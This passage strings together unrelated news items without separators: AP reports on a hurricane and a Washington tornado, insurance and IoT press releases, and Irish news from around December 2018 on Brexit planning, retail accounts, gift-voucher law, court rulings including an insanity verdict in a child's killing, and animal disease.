McQueen told commissioners the hurricane is expected to put a great strain on the citys budget. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Catastrophe Natural Disasters Florida Hurricane Lawrenceville, Ga.-based InsuranceHub has doubled the size of its commercial transportation division with the addition of several new team members. Within the last three months, the following people were hired to enhance the companys Transportation team: Mike McLeod Kristina LaBarre Rachel Parks Ben Blanks Connie Voong Markita Hodge Riley Crawford The transportation division was initially launched in October 2016 with a focus on commercial transportation insurance and strategic advisement for the tow truck and trucking trade. Growth in the division prompted the hiring of additional specialized staff this year. According to Ed Hemmer, associate vice president of Transportation at InsuranceHub, transportation made up about 10-15 percent of Insurance Hubs new business just 3 years ago and it is now 40-50 percent. InsuranceHubs offering includes motor carrier monitoring at zero additional cost to the trucker. All InsuranceHub producers are also currently enrolled in MCIEFs (Motor Carrier Insurance Education Foundation) Transportation Risk Specialist (TRS) designation curicullum. InsuranceHub is technology-driven insurance agency that serves over 15,000 clients all across the United States. Since its launch in Metro Atlanta in 1985, InsuranceHub has grown to include multiple offices throughout the Southeast. Topics Georgia A rare tornado touched down in a Seattle suburb on Tuesday, the National Weather Service confirmed. The tornado damaged several homes and toppled trees, authorities said. Based on radar imagery and video evidence, a tornado touched down south of Port Orchard shortly before 2 p.m., said Brent Bower, hydrologist with the National Weather Service in Seattle. There were no immediate reports of injuries. Emily Silverman told the television station KOMO-TV she was driving to a store with her husband at the time. Its raining and its pouring down really bad and before you know it everything was flying everywhere, Silverman said. Our car back windows blew out, our side windows blew out I thought I was a goner. Her 2-year-old son was in the back seat. So glad hes OK because the whole back window just busted in, Silverman said. It was just crazy. Ive never seen anything like this in my life. The Kitsap County Sheriffs Office called the damage catastrophic, saying it was contained to neighborhoods east and south of a Walmart in Port Orchard. Power lines were down and roads were closed in the area, the sheriffs office said. About 50 buildings were affected, Deputy Scott Wilson told the Seattle Times. KOMO-TV reports damage was reported on Rhapsody Drive and at the Bethel Tavern. Video from the television stations helicopter at the scene showed trees down, homes with roofs ripped off and debris scattered across yards. Bower said they wouldnt be able to survey the area before it was dark and that theyd send a team Wednesday morning. They were working with emergency management partners to learn the extent of the damage. The state averages 2.5 tornadoes a year, but December tornadoes are extremely rare, the weather service said on Twitter. Most tornadoes in Washington are rated EF-0s with minor damage, Bower said. Port Orchard is about 15 miles west of Seattle, across Puget Sound on the Kitsap Peninsula. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Catastrophe Natural Disasters Windstorm Washington Homeowners San Diego, CA - December 20, 2018 (Investorideas.com Newswire) Gopher Protocol Inc. (OTCQB: GOPH) ("Gopher"), a company specializing in the development of Internet of Things (IoT) and Artificial Intelligence enabled mobile technologies, including a global mesh network technology platform for both mobile and fixed solutions, announced today it has started working on implementing 5G radio into Gopher's solutions architecture based on Gopher's private communication protocol, to prepare for the numerous future IoT use cases using 5G bandwidth. 5G is the next generation of cellular and mobile/IoT networks and will be quickly expanding in the communication world. The standard is expected to allow Enhanced Mobile Broadband (eMBB), Ultra Reliable Low Latency Communications (URLLC), and Massive Machine Type Communications (mMTC). Enhanced Broadband is expected to be 10-100 times faster than the current LTE networks, and all three usage scenarios will allow for enhanced speed, connectivity and mobility to support billions of future mobile and IoT devices. Gartner Research Company predicts more than 20 billion IoT devices to be in use globally by 2020. Gopher has started its work to make its radio system architecture compatible with 5G technology in order to enable Gopher's devices to communicate with its own and other IoT and mobile devices worldwide. Gopher technology platforms based on 5G will be highly scalable and energy efficient to power the expected steady grow of connected devices. Gopher will implement its 5G capability within all of its radio based devices, among them the Gopher's patented Guardian Patch GEO tracking device and its Gopher Insight platform currently under development and planned for launch in early 2019. "We join the world's Hi Tech leaders making our technology 5G compatible, preparing for the future. The 5G network is designed to connect much greater amounts of IoT and mobile devices than previous networks, whether it is a pet tracker or an autonomous vehicle data transceiver. This type of network is built to handle many different use cases, including commercial and consumer applications, governmental military/security and civilian agencies, robots and autonomous vehicles. The 5G network offers superior speed and better real-time responsiveness, and is designed to work differently on connected products that don't need a constant connection, like irrigation sensors for example. In addition, it enables wide bandwidth and huge data handling for constantly connected devices, like transceivers in drones or autonomous machines. Applications that require virtually lag-free connection like medical robotics, security/military drones and robotic cars will be able to communicate with each other in real time. "Gopher plans to use a super high-frequency spectrum, which has shorter range but higher capacity. Then we will add another communication layer using our proprietary radio system, that is using lower frequency spectrum, in order to dramatically extend the range. With this approach, we are seeking to create a system that provides huge data handling over long range. One of the key advantages of our system is its capability to perform automatic frequency adjustments in order to overcome obstructions and interference issues, enabling efficient 5G communication across different use cases and greater distances," said Danny Rittman, Gopher CTO. About Gopher Protocol Inc. (http://gopherprotocol.com) Gopher Protocol Inc. (GOPH) ("Gopher") (http://gopherprotocol.com/) is a development-stage company which considers itself a native IoT creator, developing Internet of Things (IoT) and Artificial Intelligence (AI) enabled mobile technology platforms. Gopher has a portfolio of Intellectual Property that, when commercialized, will include smart microchips, mobile and security applications and protocols, and supporting cloud software. Gopher's system envisions the creation of a global mesh network. The core of the system will be its advanced microchip technology that can be installed in any mobile or fixed device worldwide. Gopher envisions this system as a low-cost, secure, private mesh network between any enabled devices, providing shared processing, advanced mobile database management/sharing and enhanced mobile features as an alternative to traditional carrier services. http://avant-ai.net/ Forward-Looking Statements Certain statements contained in this press release may constitute "forward-looking statements". Forward-looking statements provide current expectations of future events based on certain assumptions and include any statement that does not directly relate to any historical or current fact. Actual results may differ materially from those indicated by such forward-looking statements as a result of various important factors as disclosed in our filings with the Securities and Exchange Commission located at their website (http://www.sec.gov). In addition to these factors, actual future performance, outcomes, and results may differ materially because of more general factors including (without limitation) general industry and market conditions and growth rates, economic conditions, governmental and public policy changes, the Company's ability to raise capital on acceptable terms, if at all, the Company's successful development of its products and the integration into its existing products and the commercial acceptance of the Company's products. The forward-looking statements included in this press release represent the Company's views as of the date of this press release and these views could change. However, while the Company may elect to update these forward-looking statements at some point in the future, the Company specifically disclaims any obligation to do so. These forward-looking statements should not be relied upon as representing the Company's views as of any date subsequent to the date of the press release. Contact: Dr. Danny Rittman, CTO Gopher Protocol Inc. VM Only 888-685-7336 Media: press@gopherprotocol.com SOURCE: Gopher Protocol Inc. Disclaimer/Disclosure: Investorideas.com is a digital publisher of third party sourced news, articles and equity research as well as creates original content, including video, interviews and articles. Original content created by investorideas is protected by copyright laws other than syndication rights. Our site does not make recommendations for purchases or sale of stocks, services or products. Nothing on our sites should be construed as an offer or solicitation to buy or sell products or securities. All investment involves risk and possible loss of investment. This site is currently compensated for news publication and distribution, social media and marketing, content creation and more. Contact each company directly regarding content and press release questions. Disclosure is posted for each compensated news release, content published /created if required but otherwise the news was not compensated for and was published for the sole interest of our readers and followers. Disclosure: GOPH is a PR, social media and publishing client and compensates Investorideas.com: More disclaimer and disclosure info: https://www.investorideas.com/About/Disclaimer.asp, https://www.investorideas.com/About/News/Clientspecifics.asp Additional info regarding BC Residents and global Investors: Effective September 15 2008 - all BC investors should review all OTC and Pink sheet listed companies for adherence in new disclosure filings and filing appropriate documents with Sedar. Read for more info: https://www.bcsc.bc.ca/release.aspx?id=6894. Global investors must adhere to regulations of each country. Please read Investorideas.com privacy policy: https://www.investorideas.com/About/Private_Policy.asp German and Italian visitors have bolstered the burgeoning North American tourist market as almost 10 million people -- just under 7% growth -- came to Ireland since January. Official figures from the CSO showed that in November, trips to Ireland by overseas residents increased by 3.2% to 741,000, increasing 22,800 compared to a year earlier. British visitors, who have dwindled since the Brexit vote in June 2016 with sterling weakening, rose in November by 0.8% to just under 300,000, while American and Canadian visitors increased almost 6% to 144,900. Visitors from Europe increased 2.7% to 257,600 in November, with notable growth from Germany at more than 19%, and Italy with more than 11%. European visitors increased by 9% from January through November compared to the same period last year. Chief executive of Tourism Ireland, Niall Gibbons said: "A number of factors are working in our favour, including more airline seats than ever before, from more gateways across the US and Canada. Tourism Ireland has prioritised North America and Mainland Europe, as markets which offer a strong return on investment, in terms of holiday visitors and expenditure. There was also an increase in visitors from Australia and emerging markets like China, which were up almost 7%. Mr Gibbons said that while a rise in British visitors was welcome, it did not disguise the impact Brexit was having on the industry. "While we welcome the fact that arrivals from Britain are up 1%, the continued uncertainty around Brexit, and its impact on outbound travel from Britain, remains a real concern," he said. Tourism Ireland is launching a new campaign in the US Britain, France and Germany this week, Mr Gibbons said. Preparations for a cliff edge outcome of the UK crashing out of the EU in March would lead to the policing of the Irish border as if it were the Polish-Russia frontier. The European Commission issued requirements for all member states, including Ireland, to prepare contingency plans because of the heightened risks that UK leader Theresa May will fail to get agreement for a withdrawal agreement in less than 100 days. However, a 14-point bulletin issued to EU capitals covering citizens rights, financial services, and air services also urges governments to apply EU customs codes and rules on goods passing through the UK border. If implemented, the advice would lead to the hardest of hard borders in Ireland. It is essential, however, that member states take all the necessary steps to be in a position to apply the union customs code and the relevant rules regarding indirect taxation in relation to the United Kingdom, the commission advised. If the withdrawal agreement is not ratified before 30 March 2019, there will be no transition period and EU law will cease to apply to and in the UK as of 30 March 2019. This is referred to as the no deal or cliff-edge scenario, it said. Planning for a soft Brexit outcome, the Government is recruiting about 1,000 extra revenue, customs, and veterinary staff for Dublin and other ports. However, many more thousands of staff would be required if the EU were to insist on policing a hard border. Brian Keegan, director of public policy and taxation at Chartered Accountants, said the EUs planning document shows the chaos a no-deal Brexit entails. No responsible politician should countenance a no deal, he said. The commission also said it would allow for a 12-month accord for planes to continue to fly; for UK truckers for nine months to carry goods into the EU; and for UK citizens to continue to live in the EU with social security rights preserved. The EU also said it reiterated its commitment to ensuring funding for the border counties can continue in all scenarios. IBEC CEO Danny McCoy met British Prime Minister Theresa May, Brexit Secretary David Davis and Business Secretary Greg Clark at Downing Street as part of a delegation of key EU business federations, where he stressed the need for urgent progress in Brexit talks. Speaking after the meeting, Mr McCoy said: The message to the UK government was clear, business is increasingly frustrated and concerned at the lack of progress in negotiations. To move past the first phase of talks, which covers Ireland, the financial settlement and citizens rights, we need practical solutions and firm commitments, not just rhetoric. At the meeting Mr McCoy set out a number of immediate and specific Irish business concerns: EU and UK businesses will need an extended transition period to plan and adapt to any new EU-UK trading relationship. "This period should ensure continuity with existing trading terms. Short-term and short-sighted political pressures must not overtake the overriding and obvious economic rationale for such arrangements, said Mr McCoy. The UK has yet to match its stated commitment to a soft border on the island of Ireland with practical proposals to achieve this. A new approach is needed. The creation of new customs and regulatory barriers on the island of Ireland must be avoided. Safeguarding the Good Friday Agreement and the future functioning of the all-island economy must not be just an Irish/EU priority, the UK must step up to the mark. While EU-UK relations have and will continue to come under strain as negotiations progress, it is important to remind ourselves that UK fortunes will be linked to those of the EU, even after Brexit. The closest possible future relationship is in all our interests. Expansion costs dragged the Irish divisions of two well-known international retail brands into the red last year. Newly filed accounts show that increased lease and staff costs for Gap Stores (Ireland) last year contributed to the business recording a pre-tax loss of 308,156 a turnaround from a pre-tax profit of 24,000 in the prior year. Separate accounts show lower revenues and higher costs at Tiger Ireland Ltd which operates the Flying Tiger brand contributed to the company recording a pre-tax loss of 171,201. This compared to a pre-tax profit of 1.33m in 2016. The Gap Stores Ireland accounts show that the company recorded the 308,156 pre-tax loss after the companys lease costs increased by 153,684 from 1.643m to 1.797m. During the year, The Gap Stores Irelands revenues increased by 12% to 12.67m. The rise in revenues and lease costs was as a result of Gap opening a new store in Limerick. In its accounts, Gap Ireland said opportunities will continue to be sought to improve profitability and market share in the Irish casual apparel market. The companys accumulated profits fell from 1.86m to 1.58m while its cash pile reduced from 1m to 502,230. Numbers employed by Gap in Ireland increased from 100 to 109, resulting in staff costs increasing from 1.45m to 1.8m. The Flying Tiger chain of shops here offer an assortment of products ranging from home, kitchen, hobby and party toys, electronics, and gadgets. The company said its future Irish growth is dependent on finding suitable high-profile, high-footfall locations at appropriate rental levels. Tigers Irish business sustained its loss as lease costs increased from 1.624m to 1.872m and non-cash depreciation costs increased from 480,657 to 557,984. Minister for Business, Enterprise and Innovation, Heather Humphreys has published legislation that will give gift vouchers a five-year expiration date. The legislation will also prevent companies from insisting that the full amount in the voucher must be spent in one transaction. The legislation will not apply retrospectively, however. The company behind One4All, The Gift Voucher Shop, have welcomed the legislation. "We welcome the bill which will bring in a minimum expiry date of five years for gift vouchers, ban the requirement for gift vouchers to be spent in one transaction, and ban the cancellation of gift vouchers or the imposition of charges where the recipients name is registered incorrectly," GVS said in a statement. With the last shopping weekend before Christmas coming up, GVS is encouraging all consumers to use their outstanding gift cards 'to help ease the financial burden of the festive period'. The multi-store cards accepted in 8,500 retail stores nationwide. The Supreme Court has upheld a 16,818 damages award to a woman made redundant by a Dublin spa company because of the State's failure to correctly transpose into Irish law an EU directive protecting employees of businesses which have become insolvent. Last year, the Court of Appeal reversed a High Court decision against Magdalena Glegola who was employed by the Metro Spa Ltd, Clarendon Street, until she was dismissed by reason of redundancy in November 2011. She was informed the company was going into liquidation. However, she believed it continued to trade and she made a complaint to a Rights Commissioner who awarded her 16,818. The company did not contest the hearing before the Rights Commissioner but its solicitor wrote saying it had ceased trading in November 2011. The solicitor also stated the only reason the firm had not entered into liquidation was because of the cost of it and lack of resources to pay for it. Metro Spa was later struck off the companies' register for failing to file accounts. Ms Glegola's lawyers applied to the High Court to have it restored to the register so that a formal winding up order could be applied to it. This would mean that she would be able to seek her 16,818 award from the State's Social Insurance Fund (SIF). The High Court ordered its restoration to the register in 2014 and also declared that as it was unable to pay its debts it was not being wound up due to insufficiency of assets. Armed with this order, she applied to the Department of Social Protection for payment of her award under the SIF. When she got no response, she brought High Court judicial review proceedings against the Minister for Social Protection and the State claiming she was entitled to the award under an EU directive (2008/94/EC). She also claimed there had been a failure by the State to transpose that directive into Irish law, specifically under the Protection of Employees (Employers' Insolvency) Act 1984. The State parties opposed her case. The High Court found in the Department's favour and she appealed. The appeal court found there had been a breach of the directive because there should be an alternative, for an employee seeking payment of a debt from their insolvent employer, to the requirement that the company had to be wound up first. The breach was sufficiently serious where it leaves an employee intended to benefit from the provisions of the directive unable to recover monies due to her. This was in circumstances where the directive provides that such monies should be recoverable from the SIF. The State was granted a further appeal in the Supreme Court claiming the appeal court had erred in its decision. The State argued, among other things, the appeal court was wrong to have interpreted the directive as it did and in deeming it to be mandatory. Ms Glegola opposed the appeal. Mr Justice Donal O'Donnell, on behalf of a five-judge Supreme Court, said the directive must be interpreted as requiring EU member states to have a mechanism allowing the court to determine that a state of insolvency arises permitting employee claims to be met from the SIF without making a winding up order. He also agreed with the appeal court that Irish legislation does not provide for the necessary procedure where this occurs. Cattle imported into Ireland totalled 15,708 in 2016, 12,648 in 2017, and 8,478 in 2018, up to October. Most of the animals were imported from Northern Ireland for slaughter in the south. However, they also included breeding cattle from various EU member states, totalling 4,365 in 2016, 3,134 in 2017, and 2,227 this year, up to October. Breeding animals came in the past three years from Austria, Belgium, Denmark, France, Germany, Italy, the Netherlands, Spain, and the UK. Agriculture Minister Michael Creed gave the bovine import data in the Dail in response to a question from Fianna Fail agriculture spokesman Charlie McConalogue. Meanwhile, farmers in Northern Ireland have been warned to think carefully before importing susceptible animals from bluetongue-affected areas. Chief Veterinary Officer Dr Robert Huey urged farmers to remain vigilant, after bluetongue disease was detected in a heifer imported from France, during a stringent post-import testing regime. The bluetongue virus is circulating in Bulgaria, Croatia, Cyprus. France, Greece, Hungary, Italy, Malta, Portugal, Romania, Slovenia, Spain, and Switzerland, The Department of Agriculture here says ruminants should not be imported from bluetongue countries unless absolutely necessary, as this is the most likely route of introduction of the bluetongue virus into Ireland. Bluetongue in Ireland could have a major impact on our exports and on local herd management. There has never been an outbreak of bluetongue in the Republic of Ireland. One animal tested positive in a batch of nine imported from France to holdings across Northern Ireland. The affected farm was put under restriction as veterinary investigations continued to prevent the risk of disease spread. The infected animal has been culled humanely. It is not a confirmed outbreak, because there is no evidence the disease is circulating in Northern Ireland. Therefore, the UKs official free from bluetongue status since 2011 remains intact. The contract for the first phase of the National Maternity Hospital project has been approved. The Health Minister said St Vincent's Healthcare Group has also confirmed the process by which the Religious Sisters of Charity will transfer their shareholding and withdraw from the Group. In a statement, Minister Harris said legal documents have been prepared to give effect to this agreement and will be finalised in the New Year. "I am satisfied that the progress we have made, allows us to move forward," he said. We have waited too long for this moment, but I am delighted that we have now reached a truly significant milestone, and excited that work will soon progress. He said he is fully confident the new hospital will be owned by the State, that the National Maternity Hospital will be clinically and operationally independent and that no religious influence can, or will, be brought to bear on the new hospital. "The comprehensive legal framework prepared, and the commitments received from both hospitals, mean that I am fully confident that the new hospital will be owned by the State, that the NMH will be clinically and operationally independent and that no religious influence can, or will, be brought to bear on the new hospital." A statement from the National Maternity Hospital said they are "delighted" with the news. We are delighted at this news, which means that construction will begin in 2019 on the new National Maternity Hospital. "This state-of-the-art hospital will ensure that healthcare for future generations of Irish women and infants is of the highest international standard. "We express our thanks and appreciation to the Minister for Health Simon Harris, the officials of his Department and of the HSE, and the St Vincents Hospital Group, all of whom have worked very hard to ensure that this clinically essential hospital will now become a reality." A Bill to give gift vouchers a five-year expiry date has been passed by Cabinet Ministers. It also makes it illegal for a shop to ask you to spend all of a voucher in one transaction. Companies will not be allowed to cancel a voucher if the wrong name is on it or to charge extra fees for correcting the name. Business Minister Heather Humphreys has said she hopes the Bill will pass through the Oireachtas as quickly as possible to protect consumers. However, the changes will not cover the thousands of people buying gift vouchers this Christmas until the law takes effect sometime next year. A doctor who stabbed her three-year-old autistic son to death in their south Dublin home has been found not guilty of his murder by reason of insanity. Kuwaiti national Maha Al Adheem (43) said I did it, I stabbed my son and then stabbed myself when gardai arrived at the scene. A large amount of blood was observed on Ms Al Adheem's hands and clothing before the boy's body was found lying in the middle of a bed in the one bedroom apartment. Omar Omran was stabbed 20 times, mainly to the trunk of his body. Four stab wounds had penetrated his lungs and heart, severing a vital artery. His cause of death was multiple stab wounds to his chest, abdomen and trunk as well as to his right thigh. There were signs of defensive injuries to his right hand and a silver stainless steel knife was found at the top of the bed. Ms Al Adheem, with an address at Riverside, Poddle Park, Kimmage, Dublin 12 had pleaded not guilty to murdering Omar Omran on July 10, 2017 at the same address. Two consultant psychiatrists gave evidence during the Central Criminal Court trial that Ms Al Adheem was suffering from paranoid schizophrenia in July 2017. The defendant was unable to appreciate that what she did at the time was morally wrong and would have been unable to refrain from her actions, they said. The doctor met the requirements for the special verdict of not guilty by reason of insanity, the court heard. On the first day of the trial, defence counsel Anne Rowland SC made a number of admissions on behalf of her client including that Ms Al Adheem had inflicted stab wounds to the deceased and rang emergency services at 6.40pm on July 10 reporting that her son was dead. Patrick Gageby SC, also defending, told the court this morning that he would like to repeat and add to one of the section 22 admissions which his colleague Ms Rowland had previously made. The body of Omar Omran was removed to the Mater Hospital and then to the city morgue where an autopsy revealed stab wounds, which were inflicted by Ms Al Adheem who had the requisite intention required by the Criminal Justice Act of 1964, Mr Gageby said. The jury of nine men and three women spent one hour and 46 minutes deliberating today before bringing in a unanimous verdict of not guilty by reason of insanity. After they had delivered their verdict, Ms Justice Eileen Creedon thanked the jury for their care and attention to this very difficult case. The judge exempted them from jury service for the next five years and wished them a happy Christmas. Ms Justice Creedon then made an order committing Ms Al Adheem to go to the Central Mental Hospital today and to be brought back before the court tomorrow morning at midday. The judge also directed the preparation of a psychiatric assessment by an approved medical officer. Evidence heard at trial During the four-day trial, former garda Diarmaid Kelly, from Sundrive Road Garda Station, gave evidence that he was the driver of an official patrol car on the Crumlin Road on July 10. He said that at 6.52pm he was informed by Dublin Fire Brigade that a child was in cardiac arrest at an apartment in Kimmage. Members of the fire brigade were preparing to leave the scene when Mr Kelly arrived as they had tried to gain access to Ms Al Adheems apartment but there was no response. Mr Kelly and some members of the fire brigade went to the second-floor apartment and made several attempts to knock on the door. Mr Kelly rang Ms Al Adheems mobile number, as she had previously called 999 at 6.40pm saying her baby was dead before hanging up. The person who took the call had phoned her back but she hung up again. The witness said there was a red smudge mark on the left-hand side of her apartment door which he believed was blood. The fire brigade used a ladder to look through the balcony window but the curtains were drawn and the balcony door was locked. Mr Kelly said two firefighters breached Ms Al Adheem's apartment door using a sledgehammer which activated an intruder alarm. The witness testified that Ms Al Adheem was standing in the hall directly in front of him and looked panicked. Ms Al Adheem held her hands up and said no, no, no and backed away into the living area where she sat on a couch, he said. Mr Kelly said he observed a large amount of blood on her hands, her right hip and her clothing. He called for the assistance of paramedics and a doctor who had accompanied them to the scene. The witness said he soon became aware of a degree of commotion coming from the bedroom of the apartment and went to see what the cause was. He observed the body of a young male lying on his back in the middle of a bed in the bedroom. There was a substantial amount of blood at the scene and paramedics had connected an ECG monitor to the child, he said. The witness said he noted several puncture wounds to his torso and legs. A silver stainless steel knife was also on the bed. Paramedics informed Mr Kelly that the child was unresponsive and had no pulse before he returned to Ms Al Adheem in the living area. Mr Kelly said he asked the defendant repeatedly what had happened and she replied: I did it, I stabbed my son and then stabbed myself. 'Yes it was my knife, my hand, it was not me, the power' Ms Al Adheem was initially reluctant to be examined by staff and held a cushion to her side where her injuries were. Eventually, she allowed a doctor to examine her before she was brought by ambulance to St Jamess Hospital at 7.40pm. Detective Garda Riana OSullivan gave evidence that she attended St Jamess Hospital with Ms Al Adheem as she had three small puncture wounds on her abdomen. Det Gda OSullivan said the defendant told her that she had killed her son and her bed was full of blood. She said the spirit goes to bed with me, at 12 oclock I take the knife and start hitting him and myself, I want to die', Det Gda OSullivan testified. Sergeant Brendan OHalloran told the trial that he arrested Ms Al Adheem at 10.05pm in the psychiatric unit of St Jamess Hospital on July 12 and conveyed her to Crumlin Garda Station where four interviews were conducted with her. When the murder charge was put to her she replied: Yes it was my knife, my hand, it was not me, the power. In her first interview, Ms Al Adheem told gardai: How can I kill my son, the only thing in my life I lost. She told gardai that her son had been playing the iPad on the couch and she was reading before she grabbed a knife and stabbed him the bedroom. The defendant said she did not answer the door to gardai as she thought they were fake people and she knew Omar was already dead. When gardai informed her that a post-mortem had been carried out on her son and the results showed he died of multiple stab wounds, including those to the heart and lungs, she replied: I want to die, I want to die. 'She did everything for him morning and night' Prosecution counsel Michael Delaney SC tendered two witnesses during the trial at the request of the defence. Siobhan Murray told Patrick Gageby SC, defending, that she was Ms Al Adheem's neighbour and found her bubbly and a bit hyper as well as beyond a caring mother to her son. She was amazing, she did everything for him morning and night. I never heard her raise her voice once or correct him, remarked Ms Murray. The witness gave evidence that a black cat with no tail hung around their apartment complex and Ms Al Adheem did not want her calling the cat over. Ms Murray agreed with Mr Gageby that the defendant thought the cat was an evil spirit and the cause of a lot of bad things that were happening to her. The witness said that Ms Al Adheem gave her a blow by blow account about a smashed mirror in her apartment on July 7, which she maintained the cat had caused. She thought that when anything was not going right the cat seemed to be there. It was a worrying thing for her, she said. Aingle Ni Cheallaigh told defence counsel Anne Rowland SC that she also lived at Riverside and found Ms Al Adheem so friendly when she first met her in 2010 but could see the defendant's difficulty with her son being demanding. However, the witness said her "best friend" was extremely caring and protective of Omar. Ms Rowland put it to Ms Ni Cheallaigh that her client had devoted herself to her sons care. She was his only care that I knew. The only time she got to put out the bins was when he was asleep," she replied. The witness said she had noticed Ms Al Adheem become paranoid a few months before the incident and told the court that her friend was afraid the spirits of dead people would inhabit the cat and use this cat to hurt her. Ms Ni Cheallaigh further agreed with the defence that the defendant was a kind, good and decent mother. Mental health issues The statement of Deputy State Pathologist, Dr Linda Mulligan was read into the record by the prosecution. Dr Mulligan conducted a post-mortem examination on July 12 and gave the cause of the child's death as multiple stab wounds to his chest, abdomen and trunk as well as to his right thigh. There were 20 stab wounds in total and four of the stab wounds had been fatal as they had penetrated his heart and lungs, severing a vital artery. The remaining stab wounds to his back, abdomen and right thigh contributed to overall blood loss and death. Dr Mulligan added that two incised wounds to his hand were consistent with defensive type injuries. Two psychiatrists from the Central Mental Hospital in Dundrum told the trial that Ms Al Adheem fulfilled the criteria for a special verdict of not guilty by reason of insanity. Dr Paul O'Connell and Dr Lisa McLoughlin were in agreement that the defendant was suffering from paranoid schizophrenia in July 2017. The Kuwaiti woman was unable to appreciate that what she did at the time was morally wrong and would have been unable to refrain from her actions, they said. Dr OConnell told defence counsel Patrick Gageby SC that Ms Al Adheem qualified as a doctor in Iraq in 2003 but it took her nine years to complete a six-year medical degree as she was diagnosed with depression and schizophrenia while she was a medical student in 1996. Ms Al Adheem told the psychiatrist that she had seen an out of this world black cat with no tail from her apartment balcony in Kimmage and as a result prayed on the Quran day and night over three days to ward off its spirit. Dr OConnell said Ms Al Adheem seemed to be deluded that her life was being laid bare on Facebook by a previous suitor who was keeping her under surveillance and had hacked her account. Ms Al Adheem told Dr OConnell that her ex-husband had a limited ability to learn English and he had sensitivities which meant he could not tolerate loud noises including the sound of their baby crying. Her son Omar was born on January 9, 2014 through assisted conception treatment. Their marriage ended when Omar was four months old and Ms Al Adheem applied for a legal separation that year which came into effect in 2016. She told Dr OConnell that developmental problems became apparent in Omar when he was two and a half years old and there were issues finding a creche for him as he was non-verbal, needed one to one attention and his special needs were evident. Ms Al Adheem said she felt very depressed in the months prior to the event because of her child's autism and because she said schools were refusing to take her son. On March 14, 2017 she felt suicidal and attended her GP with suicidal thoughts and was admitted to the psychiatry department in St Jamess Hospital for five days, said Dr OConnell. According to notes generated from St Jamess Hospital, Ms Al Adheem was not presenting with any psychotic phenomena or psychotic ideation when she was discharged from St Jamess Hospital. Ms Al Adheem said a power took over her on the day of the killing which made her stab herself and her son and she felt her wrists being twisted, recounted Dr OConnell. The second forensic psychiatrist, Dr Lisa McLoughlin told Mr Delaney that the defendant retains the delusional belief about the black cat, although she does not currently see it, and there has been a substantial deterioration in her level of functioning. Update: Minister for Agriculture and Fisheries Michael Creed has said there is no sugar-coating the fact that if the UK decides to leave the EU without a deal, to pull up the drawbridge then that will present the Irish Government with an unprecedented challenge. He told RTEs News at One: Things will change, we will have to be prepared. There will be a requirement for some form of crisis management. What is clear is that there will be ramifications from a hard Brexit which could be in the form of tariffs on Irish goods entering the UK. The Government has been scoping out all the issues, he said. The contingency action plan for a no-deal Brexit published last night is underpinned by voluminous research on all the ramifications. He said that Ireland needs the EU Commission to respond and allow the easing of State aid restrictions to allow a swift response to any impact. Mr Creed said: We cannot expect that with all the planning to have a situation post-Brexit as good as we have now. "This is a damage limitation exercise. He said that no State in the EU will hit the ground running the day after the UK leaves with full plans in place., so there will be a requirement for some form of crisis management. The fishing sector, in particular, faces an unprecedented challenge as one-third of the industry is centred in UK waters, he said. It is a serious challenge. Earlier, the Tanaiste Simon Coveney said that the backstop is there to address the "sensitive" issue of preventing physical border infrastructure reemerging on the island. Mr Coveney said: "In the absence of a backstop and a deal, preventing physical infrastructure on this island will be very difficult, very complicated and will involve hard choices. "We are committed in all circumstances to preventing border infrastructure, but the conversations we would have to have and the responsibility on London to do that, given the commitments they have given and the obligations they have towards protecting the Good Friday agreements as a co-guarantor of the agreement are significant." "But I don't think it would be helpful in this document to be dominated by the border debate." Earlier: Here are some of the 'sobering' implications for Ireland in event of no-deal Brexit The Tanaiste Simon Coveney has said plans for a no-deal Brexit are a "sobering read". The Government published details of their disaster planning last night, the first real look we have got at what a no-deal Brexit might look like for Ireland. Mr Coveney said the report paints a stark picture: "It's a sobering read and I think it reminds people that there is no such thing as a contingency plan which will just maintain the status quo as we enjoy it today, no matter what we do. "But there are things and actions that we are taking to ensure that we protect as best we can Ireland and its economy." On the infrastructure side, Dublin and Rosslare Ports will need an upgrade to deal with a significant increase in customs checks and to house at least 200 extra Revenue staff. That will need to be done at airports also. Emergency legislation will be needed to do a host of things, including keep planes travelling in and out of the UK in the air. There are 45 emergency legislative changes outlined. Life will get harder for importers and exporters and the deal warns of long delays for businesses who use the UK as a landbridge for goods. Work is underway to ensure there will not be food or medicine shortages as a result, but the agri-food sector is expecting a significant hit. The document is light on how fishing will be safeguarded and there is also no contingency plan for avoiding border infrastructure with the North, but there is a commitment to work to avoid it. Sources admitted there are some areas that cannot be planned for as no one knows what is going to happen. The document, which can be read here, will be updated again in January, as the political stalemate in the UK makes a no-deal scenario look ever more likely. Freezing orders have been made by the High Court against a financial advisor and two of his companies over an alleged failure to return 159,000 advanced as an investment. The orders were granted by Ms Justice Leonie Reynolds in favour of Jamie Murphy who claims that James Doherty, trading as Demvera Capital Partners, has used the money advanced in 2017 for his own personal use. Mr Murphy, represented by Eugene Gleeson SC, secured the orders against James Doherty trading as Demvera Capital Partners, with a registered address at Serpentine Business Park, Serpentine Avenue, Ballsbridge, Dublin 4. The injunction was also granted against another related company, Demvera Trust unlimited Company, with an address at Burnfoot Business Park, Main Street, Burnfoot, Co Donegal. The orders prevent the defendant from reducing his assets, which includes sums held in two bank accounts in Co Dublin and Donegal, beneath a value of 159,000. The Judge also ordered that Mr Murphy produce a list of all his assets within four weeks. Mr Murphy of St Annes Park, Quinn Road, Shankill, Co. Dublin, had claimed that despite hiring a private investigator, Mr Doherty cannot be located. All that is known is Mr Doherty is somewhere in the UK. Seeking the orders, counsel said Mr Murphy advanced 159,000 to Mr Doherty in 2017. Counsel said Mr Murphy was introduced to Mr Doherty, who represented himself as an accountant and a financial advisor. The money, which came from a trust fund and personal savings, was to be invested in a firm that provides home care to those with disabilities. Counsel said the money was never invested with that company. His client had sought explanations from Mr Doherty. When proper explanations were not forthcoming his client sought the return of the investment, counsel said. Despite giving various assurances the money has never been returned by Mr Doherty. Counsel said Mr Doherty had given excuses, including his ill health, as a reason for not returning the monies. Counsel said that following a search his client could not find Mr Doherty listed as a member of any registered accountancy bodies in Ireland, Northern Ireland and the UK. They also said that Mr Murphy fears that he may be the victim of a fraud and that he requires the freezing orders as the defendants may dissipate monies held in the bank accounts. Ms Justice Reynolds, who earlier this week granted permission to serve short notice of the proceedings on the defendants, said she was satisfied to grant the injunctions sought. The matter will return before the court in January. The Government has appointed a High Court judge to chair an independent tribunal on the cervical cancer tests controversy amid concerns that affected women are being blocked from accessing their 